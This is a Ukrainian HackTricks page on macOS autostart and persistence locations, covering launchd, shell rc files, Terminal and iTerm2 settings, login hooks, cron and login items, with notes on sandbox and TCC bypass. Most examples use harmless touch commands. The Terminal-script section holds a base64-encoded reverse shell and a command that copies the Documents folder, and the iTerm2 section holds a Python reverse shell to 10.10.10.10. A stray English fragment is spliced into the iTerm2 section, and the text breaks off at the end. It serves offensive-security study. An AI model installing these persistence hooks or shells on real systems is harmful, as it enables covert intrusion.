macOS Auto Start

Підтримайте HackTricks

Цей розділ сильно ґрунтується на серії блогів Beyond the good ol' LaunchAgents, мета - додати більше місць автозапуску (якщо це можливо), вказати які техніки все ще працюють в наш час з останньою версією macOS (13.4) та уточнити необхідні дозволи.

Обхід пісочниці

Тут ви можете знайти місця автозапуску, корисні для обхіду пісочниці, що дозволяють вам просто виконати щось, записавши це в файл та чекаючи на дуже загальну дію, визначений час або дію, яку ви зазвичай можете виконати зсередини пісочниці без необхідності кореневих дозволів.

Launchd

  • Корисно для обходу пісочниці:

  • Обхід TCC: 🔴

Місця

  • /Library/LaunchAgents

  • Тригер: Перезавантаження

  • Потрібен корінь

  • /Library/LaunchDaemons

  • Тригер: Перезавантаження

  • Потрібен корінь

  • /System/Library/LaunchAgents

  • Тригер: Перезавантаження

  • Потрібен корінь

  • /System/Library/LaunchDaemons

  • Тригер: Перезавантаження

  • Потрібен корінь

  • ~/Library/LaunchAgents

  • Тригер: Перезаходження

  • ~/Library/LaunchDemons

  • Тригер: Перезаходження

Як цікавий факт, launchd має вбудований список властивостей у розділі Mach-o __Text.__config, який містить інші добре відомі служби, які повинен запустити launchd. Крім того, ці служби можуть містити RequireSuccess, RequireRun та RebootOnSuccess, що означає, що вони повинні бути запущені та успішно завершені.

Звісно, його не можна змінювати через підписання коду.

Опис та Експлуатація

launchd - це перший процес, який виконується ядром ОС macOS при запуску та останній, що завершується при вимкненні. Він завжди повинен мати PID 1. Цей процес буде читати та виконувати конфігурації, вказані в ASEP plist у:

  • /Library/LaunchAgents: Агенти для користувача, встановлені адміністратором

  • /Library/LaunchDaemons: Демони для всієї системи, встановлені адміністратором

  • /System/Library/LaunchAgents: Агенти для користувача, надані Apple.

  • /System/Library/LaunchDaemons: Демони для всієї системи, надані Apple.

Коли користувач увійшов у систему, plist-файли, розташовані в /Users/$USER/Library/LaunchAgents та /Users/$USER/Library/LaunchDemons, запускаються з правами ввійшовших користувачів.

Основна різниця між агентами та демонами полягає в тому, що агенти завантажуються при вході користувача, а демони завантажуються при запуску системи (оскільки є служби, такі як ssh, які потрібно виконати до того, як будь-який користувач отримає доступ до системи). Крім того, агенти можуть використовувати GUI, тоді як демони повинні працювати в фоновому режимі.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Є випадки, коли агент потрібно виконати до входу користувача, їх називають PreLoginAgents. Наприклад, це корисно для надання технологій допомоги при вході. Їх також можна знайти в /Library/LaunchAgents (див. тут приклад).

Нові файли конфігурації Демонів або Агентів будуть завантажені після наступного перезавантаження або за допомогою launchctl load <target.plist>. Також можна завантажити файли .plist без цього розширення за допомогою launchctl -F <file> (проте ці файли plist не будуть автоматично завантажені після перезавантаження). Також можливо відвантажити за допомогою launchctl unload <target.plist> (процес, на який він вказує, буде завершено),

Щоб забезпечити, що нічого (наприклад, перевизначення) не перешкоджає виконанню Агента або Демона, виконайте: sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist

Перелічити всі агенти та демони, завантажені поточним користувачем:

launchctl list

Якщо plist належить користувачеві, навіть якщо він знаходиться в системних папках демонів, завдання буде виконано як користувач, а не як root. Це може запобігти деяким атакам на підвищення привілеїв.

Додаткова інформація про launchd

launchd - це перший процес режиму користувача, який запускається з ядра. Запуск процесу повинен бути успішним, і він не може завершитися або впасти. Він навіть захищений від деяких сигналів завершення.

Одним з перших завдань launchd буде запускати всі демони, такі як:

  • Демони таймерів на основі часу для виконання:

    • atd (com.apple.atrun.plist): має StartInterval 30 хвилин

    • crond (com.apple.systemstats.daily.plist): має StartCalendarInterval для запуску о 00:15

  • Мережеві демони, наприклад:

    • org.cups.cups-lpd: прослуховує TCP (SockType: stream) з SockServiceName: printer

    • com.apple.xscertd.plist: прослуховує TCP на порту 1640

  • Демони шляхів, які виконуються при зміні вказаного шляху:

    • com.apple.postfix.master: перевірка шляху /etc/postfix/aliases

  • Демони сповіщень IOKit:

    • com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...

  • Mach порт:

    • com.apple.xscertd-helper.plist: вказує в записі MachServices ім'я com.apple.xscertd.helper

  • UserEventAgent:

    • Це відрізняється від попереднього. Воно змушує launchd створювати додатки у відповідь на певну подію. Однак у цьому випадку головний бінарний файл не launchd, а /usr/libexec/UserEventAgent. Він завантажує плагіни з обмеженої SIP папки /System/Library/UserEventPlugins/, де кожен плагін вказує свій ініціалізатор у ключі XPCEventModuleInitializer або, у випадку старих плагінів, у словнику CFPluginFactories під ключем FB86416D-6164-2070-726F-70735C216EC0 його Info.plist.

Файли запуску оболонки

Опис: https://theevilbit.github.io/beyond/beyond_0001/ Опис (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Корисно для обходу пісочниці:

  • Обхід TCC:

  • Але вам потрібно знайти додаток з обходом TCC, який виконує оболонку, що завантажує ці файли

Місця розташування

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

    • Спрацьовує: Відкрити термінал з zsh

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

    • Спрацьовує: Відкрити термінал з zsh

    • Потрібен root

  • ~/.zlogout

    • Спрацьовує: Вийти з терміналу з zsh

  • /etc/zlogout

    • Спрацьовує: Вийти з терміналу з zsh

    • Потрібен root

  • Можливо, більше в: man zsh

  • ~/.bashrc

    • Спрацьовує: Відкрити термінал з bash

  • /etc/profile (не працювало)

  • ~/.profile (не працювало)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

    • Спрацьовує: Очікується спрацювання з xterm, але він не встановлений, і навіть після встановлення видається помилка: xterm: DISPLAY is not set

Опис та експлуатація

При ініціалізації середовища оболонки, такої як zsh або bash, запускаються певні файли запуску. В macOS наразі використовується /bin/zsh як оболонка за замовчуванням. Ця оболонка автоматично доступна при запуску додатка Термінал або при доступі до пристрою через SSH. Хоча bash та sh також присутні в macOS, їх потрібно явно викликати для використання.

Сторінка man для zsh, яку ми можемо прочитати за допомогою man zsh, містить довгий опис файлів запуску.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Відкриті програми

Налаштування вказаної експлуатації та виxід та вхід або навіть перезавантаження не працювали для мене для виконання програми. (Програма не виконувалася, можливо, вона повинна бути запущена, коли виконуються ці дії)

Опис: https://theevilbit.github.io/beyond/beyond_0021/

  • Корисно для обхіду пісочниці:

  • Обхід TCC: 🔴

Місцезнаходження

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • Тригер: Перезапуск відкриття програм

Опис та Експлуатація

Усі програми для повторного відкриття знаходяться всередині plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Таким чином, щоб зробити відкриття програм запуск вашої власної, вам просто потрібно додати вашу програму до списку.

UUID можна знайти, перераховуючи цю директорію або за допомогою ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Щоб перевірити програми, які будуть відкриті, ви можете виконати:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Для додавання програми до цього списку можна скористатися:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Налаштування терміналу

  • Корисно для обхідної пісочниці:

  • Обхід TCC:

  • Термінал використовує дозволи FDA користувача, який його використовує

Місце

  • ~/Library/Preferences/com.apple.Terminal.plist

  • Тригер: Відкриття терміналу

Опис та експлуатація

У ~/Library/Preferences зберігаються налаштування користувача в додатках. Деякі з цих налаштувань можуть містити конфігурацію для виконання інших додатків/скриптів.

Наприклад, термінал може виконати команду при запуску:

Ця конфігурація відображена у файлі ~/Library/Preferences/com.apple.Terminal.plist наступним чином:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Отже, якщо plist установок терміналу в системі може бути перезаписаний, то функціонал open може бути використаний для відкриття терміналу та виконання цієї команди.

Ви можете додати це з командного рядка за допомогою:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Термінальні скрипти / Інші розширення файлів

  • Корисно для обхідної пісочниці:

  • Обхід TCC:

  • Використання терміналу для отримання прав FDA користувача

Місце розташування

  • Будь-де

  • Тригер: Відкриття терміналу

Опис та Використання

Якщо ви створите .terminal скрипт та відкриєте його, програма Terminal буде автоматично запущена для виконання команд, вказаних у ньому. Якщо додатку Terminal надані деякі спеціальні привілеї (наприклад, TCC), ваша команда буде виконана з цими спеціальними привілеями.

Спробуйте це:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

Ви також можете використовувати розширення .command, .tool, зі звичайним вмістом оболонки shell, і вони також будуть відкриватися за допомогою Терміналу.

Якщо термінал має Повний доступ до диска, він зможе завершити цю дію (зверніть увагу, що виконана команда буде видима в вікні терміналу).

Аудіо-плагіни

Опис: https://theevilbit.github.io/beyond/beyond_0013/ Опис: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Корисно для обходу пісочниці:

  • Обхід TCC: 🟠

  • Можливо отримати додатковий доступ TCC

Місцезнаходження

  • /Library/Audio/Plug-Ins/HAL

  • Потрібні права адміністратора

  • Тригер: Перезапустіть coreaudiod або комп'ютер

  • /Library/Audio/Plug-ins/Components

  • Потрібні права адміністратора

  • Тригер: Перезапустіть coreaudiod або комп'ютер

  • ~/Library/Audio/Plug-ins/Components

  • Тригер: Перезапустіть coreaudiod або комп'ютер

  • /System/Library/Components

  • Потрібні права адміністратора

  • Тригер: Перезапустіть coreaudiod або комп'ютер

Опис

Згідно з попередніми описами, можна скомпілювати деякі аудіо-плагіни та завантажити їх.

Плагіни QuickLook

Опис: https://theevilbit.github.io/beyond/beyond_0028/

  • Корисно для обходу пісочниці:

  • Обхід TCC: 🟠

  • Можливо отримати додатковий доступ TCC

Місцезнаходження

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/AppNameHere/Contents/Library/QuickLook/

  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

Опис та Використання

Плагіни QuickLook можуть бути виконані, коли ви запускаєте попередній перегляд файлу (натисніть пробіл з вибраним файлом у Finder) і встановлений плагін, що підтримує цей тип файлу.

Можливо скомпілювати власний плагін QuickLook, розмістити його в одному з попередніх місць для завантаження і потім перейти до підтримуваного файлу та натиснути пробіл для його запуску.

Гачки входу/виходу

Це не працювало для мене, ні з LoginHook користувача, ні з LogoutHook root

Опис: https://theevilbit.github.io/beyond/beyond_0022/

  • Корисно для обходу пісочниці:

  • Обхід TCC: 🔴

Місцезнаходження

  • Вам потрібно мати можливість виконати щось на зразок defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh

  • Розташовано в ~/Library/Preferences/com.apple.loginwindow.plist

Вони застарілі, але можуть бути використані для виконання команд при вході користувача.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Цей параметр зберігається в /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Щоб видалити це:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

Користувач root зберігається в /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Умовне ухилення від пісочниці

Тут ви можете знайти місця запуску, корисні для ухилення від пісочниці, що дозволяє вам просто виконати щось, записавши це в файл, та очікувати не дуже поширених умов, таких як конкретні встановлені програми, "незвичайні" дії користувача або середовища.

Cron

Опис: https://theevilbit.github.io/beyond/beyond_0004/

  • Корисно для ухилення від пісочниці:

  • Однак вам потрібно мати можливість виконати бінарний файл crontab

  • Або бути root

  • Ухилення TCC: 🔴

Місце

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

  • Потрібен root для прямого запису. Root не потрібен, якщо ви можете виконати crontab <файл>

  • Спрацьовує: Залежить від завдання cron

Опис та Використання

Перелічте завдання cron поточного користувача за допомогою:

crontab -l

Ви також можете побачити всі cron-завдання користувачів у /usr/lib/cron/tabs/ та /var/at/tabs/ (потрібні права root).

У MacOS кілька папок, які виконують скрипти з певною частотою, можна знайти в:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Тут ви можете знайти звичайні cron завдання, at завдання (не дуже використовується) та періодичні завдання (головним чином використовується для очищення тимчасових файлів). Щоденні періодичні завдання можна виконати, наприклад, за допомогою команди: periodic daily.

Для додавання користувацького cron-завдання програмно можна використовувати:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Опис: https://theevilbit.github.io/beyond/beyond_0002/

  • Корисно для обходу пісочниці:

  • Обхід TCC:

  • iTerm2 використовується для надання дозволів TCC

Місця

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • Тригер: Відкриття iTerm

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • Тригер: Відкриття iTerm

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • Тригер: Відкриття iTerm

Опис та Використання

Скрипти, збережені в ~/Library/Application Support/iTerm2/Scripts/AutoLaunch, будуть виконані. Наприклад:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

macOS Auto Start Locations

Launch Agents

Launch Agents are used to run processes when a user logs in. They are located in ~/Library/LaunchAgents/ and /Library/LaunchAgents/.

Launch Daemons

Launch Daemons are used to run processes at system boot or login. They are located in /Library/LaunchDaemons/ and /System/Library/LaunchDaemons/.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

Скрипт ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt також буде виконаний:

do shell script "touch /tmp/iterm2-autolaunchscpt"

Файли налаштувань iTerm2 розташовані в ~/Library/Preferences/com.googlecode.iterm2.plist можуть вказувати команду для виконання при відкритті терміналу iTerm2.

Це налаштування можна сконфігурувати в налаштуваннях iTerm2:

І команда відображається в налаштуваннях:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Ви можете встановити команду для виконання за допомогою:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Висока ймовірність того, що існують інші способи зловживання налаштуваннями iTerm2 для виконання довільних команд.

xbar

Опис: https://theevilbit.github.io/beyond/beyond_0007/

  • Корисно для обхіду пісочниці:

  • Але xbar повинен бути встановлений

  • Обхід TCC:

  • Він запитує дозвіл на доступність

Місце розташування

  • ~/Library/Application\ Support/xbar/plugins/

  • Тригер: Після запуску xbar

Опис

Якщо встановлено популярну програму xbar, можна написати сценарій оболонки в ~/Library/Application\ Support/xbar/plugins/, який буде виконуватися при запуску xbar:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Опис: https://theevilbit.github.io/beyond/beyond_0008/

  • Корисно для обхіду пісочниці:

  • Але Hammerspoon повинен бути встановлений

  • Обхід TCC:

  • Він запитує дозвіл на доступність

Місце

  • ~/.hammerspoon/init.lua

  • Тригер: Після запуску Hammerspoon

Опис

Hammerspoon служить як платформа автоматизації для macOS, використовуючи мову сценаріїв LUA для своєї роботи. Зокрема, він підтримує інтеграцію повного коду AppleScript та виконання оболонкових сценаріїв, значно покращуючи свої можливості сценаріювання.

Додаток шукає один файл, ~/.hammerspoon/init.lua, і при запуску виконується сценарій.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Корисний для обходу пісочниці:

  • Але BetterTouchTool повинен бути встановлений

  • Обхід TCC:

  • Він запитує дозволи на автоматизацію скорочень та доступність

Місце розташування

  • ~/Library/Application Support/BetterTouchTool/*

Цей інструмент дозволяє вказати програми або скрипти для виконання, коли деякі скорочення натиснуті. Атакувальник може налаштувати своє власне скорочення та дію для виконання в базі даних, щоб виконати довільний код (скорочення може бути просто натисканням клавіші).

Alfred

  • Корисний для обходу пісочниці:

  • Але потрібно встановити Alfred

  • Обхід TCC:

  • Він запитує дозволи на автоматизацію, доступність та навіть повний доступ до диска

Місце розташування

  • ???

Це дозволяє створювати робочі процеси, які можуть виконувати код, коли виконуються певні умови. Потенційно атакувальник може створити файл робочого процесу і змусити Alfred завантажити його (потрібно оплатити преміальну версію для використання робочих процесів).

SSHRC

Опис: https://theevilbit.github.io/beyond/beyond_0006/

  • Корисний для обходу пісочниці:

  • Але потрібно включити та використовувати ssh

  • Обхід TCC:

  • SSH використовує доступ до повного диска

Місце розташування

  • ~/.ssh/rc

  • Тригер: Вхід через ssh

  • /etc/ssh/sshrc

  • Потрібні права адміністратора

  • Тригер: Вхід через ssh

Для включення ssh потрібен повний доступ до диска:

sudo systemsetup -setremotelogin on

Опис & Експлуатація

За замовчуванням, якщо PermitUserRC no в /etc/ssh/sshd_config, коли користувач входить через SSH, скрипти /etc/ssh/sshrc та ~/.ssh/rc будуть виконані.

Елементи входу

Опис: https://theevilbit.github.io/beyond/beyond_0003/

  • Корисно для обхіду пісочниці:

  • Але потрібно виконати osascript з аргументами

  • Обхід TCC: 🔴

Місця

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • Спрацьовує: Вхід

  • Пейлоад експлойту зберігається за допомогою виклику osascript

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • Спрацьовує: Вхід

  • Потрібні права адміністратора

Опис

У "System Preferences" -> "Users & Groups" -> Елементи входу можна знайти елементи, які виконуються при вході користувача. Можливо перелічити їх, додавати та видаляти з командного рядка:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Ці елементи зберігаються в файлі ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Елементи входу також можуть бути вказані за допомогою API SMLoginItemSetEnabled, який збереже конфігурацію в /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP як елемент входу

(Перевірте попередній розділ про Елементи входу, це розширення)

Якщо ви збережете файл ZIP як Елемент входу, Archive Utility відкриє його, і якщо zip, наприклад, був збережений в ~/Library і містив папку LaunchAge